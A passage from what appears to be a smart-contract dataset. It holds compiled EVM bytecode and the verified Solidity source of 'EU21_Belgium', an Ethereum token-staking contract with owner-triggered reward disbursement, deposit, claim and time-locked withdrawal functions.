0808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d2b0ee7432ed64e60ccfc9213d2afd30adb0cf9be58eb6285de2ad148f76462764736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 6,017 |
0x5228addc35b83cf2557a779bfe0fd8303fd53a2d
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
pragma solidity >=0.8.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract EU21_Belgium is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// EU21 token contract address
address public constant tokenAddress = 0x87ea1F06d7293161B9ff080662c1b0DF775122D3;
// amount disbursed per victory
uint public amountToDisburse = 1000000000000000000000; // 1000 EU21 PER VICTORY
// total games rewards for each pool
uint public totalReward = 7000000000000000000000; // 7000 EU21 TOTAL GAMES REWARDS (EXCLUDING THE GRAND PRIZE)
// unstaking possible after ...
uint public constant unstakeTime = 37 days;
// claiming possible after ...
uint public constant claimTime = 37 days;
uint public totalClaimedRewards = 0;
uint public totalDeposited = 0;
uint public totalDisbursed = 0;
bool public ended ;
uint public startTime = block.timestamp;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public pending;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardEnded;
function disburse () public onlyOwner returns (bool){
require(!ended, "Staking already ended");
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(amountToDisburse).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(amountToDisburse);
return true;
}
//Disburse and End the staking pool
function disburseAndEnd(uint _finalDisburseAmount) public onlyOwner returns (bool){
require(!ended, "Staking already ended");
require(_finalDisburseAmount > 0);
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(_finalDisburseAmount).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(_finalDisburseAmount);
ended = true;
return true;
}
//End the staking pool
function end() public onlyOwner returns (bool){
require(!ended, "Staking already ended");
ended = true;
return true;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
pending[account] = 0;
depositedTokens[account] = depositedTokens[account].add(pendingDivs);
totalDeposited = totalDeposited.add(pendingDivs);
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
}
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
uint pendingDivs = pending[_holder];
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(!ended, "Staking has ended");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalDeposited = totalDeposited.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
}
function claim() public{
require(holders.contains(msg.sender));
require(block.timestamp.sub(startTime) > claimTime || ended, "Not yet.");
require(pending[msg.sender] > 0);
uint _reward = pending[msg.sender];
pending[msg.sender] = 0;
require(Token(tokenAddress).transfer(msg.sender, _reward), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_reward);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_reward);
if(depositedTokens[msg.sender] == 0){
holders.remove(msg.sender);
}
}
function withdraw(uint _amount) public{
require(block.timestamp.sub(startTime) > unstakeTime || ended, "Not yet.");
require(depositedTokens[msg.sender] >= _amount);
require(_amount > 0);
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(_amount);
totalDeposited = totalDeposited.sub(_amount);
require(Token(tokenAddress).transfer(msg.sender, _amount), "Could not transfer tokens.");
if(depositedTokens[msg.sender] == 0 && pending[msg.sender] == 0){
holders.remove(msg.sender);
}
}
/*
function withdrawAllAfterEnd() public {
require(ended, "Staking has not ended");
uint _pend = pending[msg.sender];
uint amountToWithdraw = _pend.add(depositedTokens[msg.sender]);
require(amountToWithdraw >= 0, "Invalid amount to withdraw");
pending[msg.sender] = 0;
depositedTokens[msg.sender] = 0;
totalDeposited = totalDeposited.sub(depositedTokens[msg.sender]);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_pend);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_pend);
holders.remove(msg.sender);
}*/
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress , "Cannot Transfer Out this token");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063c3e5ae5311610097578063d9eaa3ed11610071578063d9eaa3ed1461047c578063efbe1c1c146104ac578063f2fde38b146104ca578063ff50abdc146104e65761018e565b8063c3e5ae5314610410578063d578ceab14610440578063d7e527451461045e5761018e565b806398896d101461033a5780639d76ea581461036a578063abc6fd0b14610388578063b6b55f25146103a6578063bf95c78d146103c2578063c326bf4f146103e05761018e565b80635eebea201161014b578063750142e611610125578063750142e6146102c257806378e97925146102e05780638da5cb5b146102fe5780639232eed31461031c5761018e565b80635eebea20146102465780636270cd18146102765780636a395ccb146102a65761018e565b806312fa6feb146101935780631911cf4a146101b157806327b3bf11146101e45780632e1a7d4d14610202578063308feec31461021e5780634e71d92d1461023c575b600080fd5b61019b610504565b6040516101a8919061253b565b60405180910390f35b6101cb60048036038101906101c691906121d4565b610517565b6040516101db94939291906124da565b60405180910390f35b6101ec61087a565b6040516101f99190612656565b60405180910390f35b61021c600480360381019061021791906121ab565b610881565b005b610226610b86565b6040516102339190612656565b60405180910390f35b610244610b97565b005b610260600480360381019061025b919061210a565b610eea565b60405161026d9190612656565b60405180910390f35b610290600480360381019061028b919061210a565b610f02565b60405161029d9190612656565b60405180910390f35b6102c060048036038101906102bb9190612133565b610f1a565b005b6102ca611088565b6040516102d79190612656565b60405180910390f35b6102e861108e565b6040516102f59190612656565b60405180910390f35b610306611094565b604051610313919061245f565b60405180910390f35b6103246110b8565b6040516103319190612656565b60405180910390f35b610354600480360381019061034f919061210a565b6110be565b6040516103619190612656565b60405180910390f35b61037261112f565b60405161037f919061245f565b60405180910390f35b610390611147565b60405161039d919061253b565b60405180910390f35b6103c060048036038101906103bb91906121ab565b611360565b005b6103ca6115bf565b6040516103d79190612656565b60405180910390f35b6103fa60048036038101906103f5919061210a565b6115c5565b6040516104079190612656565b60405180910390f35b61042a6004803603810190610425919061210a565b6115dd565b6040516104379190612656565b60405180910390f35b6104486115f5565b6040516104559190612656565b60405180910390f35b6104666115fb565b6040516104739190612656565b60405180910390f35b610496600480360381019061049191906121ab565b611602565b6040516104a3919061253b565b60405180910390f35b6104b4611841565b6040516104c1919061253b565b60405180910390f35b6104e460048036038101906104df919061210a565b61190e565b005b6104ee611a5d565b6040516104fb9190612656565b60405180910390f35b600660009054906101000a900460ff1681565b60608060608084861061052957600080fd5b600061053e8787611a6390919063ffffffff16565b905060008167ffffffffffffffff811115610582577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156105b05781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111156105f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106235781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811115610668577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106965781602001602082028036833780820191505090505b50905060008467ffffffffffffffff8111156106db577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156107095781602001602082028036833780820191505090505b50905060008b90505b8a81101561085f576000610730826008611ab090919063ffffffff16565b905060006107478e84611a6390919063ffffffff16565b905081878281518110610783577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610836577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250505050610858600182611aca90919063ffffffff16565b9050610712565b50838383839850985098509850505050505092959194509250565b6230c78081565b6230c78061089a60075442611a6390919063ffffffff16565b11806108b25750600660009054906101000a900460ff165b6108f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e890612636565b60405180910390fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561093d57600080fd5b6000811161094a57600080fd5b61099c81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6390919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109f481600454611a6390919063ffffffff16565b6004819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a499291906124b1565b602060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190612182565b610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906125b6565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b6857506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b8357610b81336008611b1c90919063ffffffff16565b505b50565b6000610b926008611b4c565b905090565b610bab336008611b6190919063ffffffff16565b610bb457600080fd5b6230c780610bcd60075442611a6390919063ffffffff16565b1180610be55750600660009054906101000a900460ff165b610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612636565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610c7057600080fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d489291906124b1565b602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9a9190612182565b610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd0906125b6565b60405180910390fd5b610dee81600354611aca90919063ffffffff16565b600381905550610e4681600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ee757610ee5336008611b1c90919063ffffffff16565b505b50565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7257600080fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612596565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016110309291906124b1565b602060405180830381600087803b15801561104a57600080fd5b505af115801561105e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110829190612182565b50505050565b60025481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60006110d4826008611b6190919063ffffffff16565b6110e1576000905061112a565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050809150505b919050565b7387ea1f06d7293161b9ff080662c1b0df775122d381565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a257600080fd5b600660009054906101000a900460ff16156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612576565b60405180910390fd5b60008060005b6112026008611b4c565b8110156113395761121d816008611ab090919063ffffffff16565b9250611287600454611279600154600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506112db82600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611332600182611aca90919063ffffffff16565b90506111f8565b50611351600154600554611aca90919063ffffffff16565b60058190555060019250505090565b600660009054906101000a900460ff16156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a7906125d6565b60405180910390fd5b600081116113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea906125f6565b60405180910390fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016114449392919061247a565b602060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114969190612182565b6114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612616565b60405180910390fd5b6114de33611c13565b61153081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158881600454611aca90919063ffffffff16565b6004819055506115a2336008611b6190919063ffffffff16565b6115bc576115ba336008611dd390919063ffffffff16565b505b50565b60055481565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b60035481565b6230c78081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165d57600080fd5b600660009054906101000a900460ff16156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612576565b60405180910390fd5b600082116116ba57600080fd5b60008060005b6116ca6008611b4c565b8110156117ff576116e5816008611ab090919063ffffffff16565b925061174d60045461173f87600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506117a182600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f8600182611aca90919063ffffffff16565b90506116c0565b5061181584600554611aca90919063ffffffff16565b6005819055506001600660006101000a81548160ff021916908315150217905550600192505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189c57600080fd5b600660009054906101000a900460ff16156118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390612576565b60405180910390fd5b6001600660006101000a81548160ff0219169083151502179055506001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28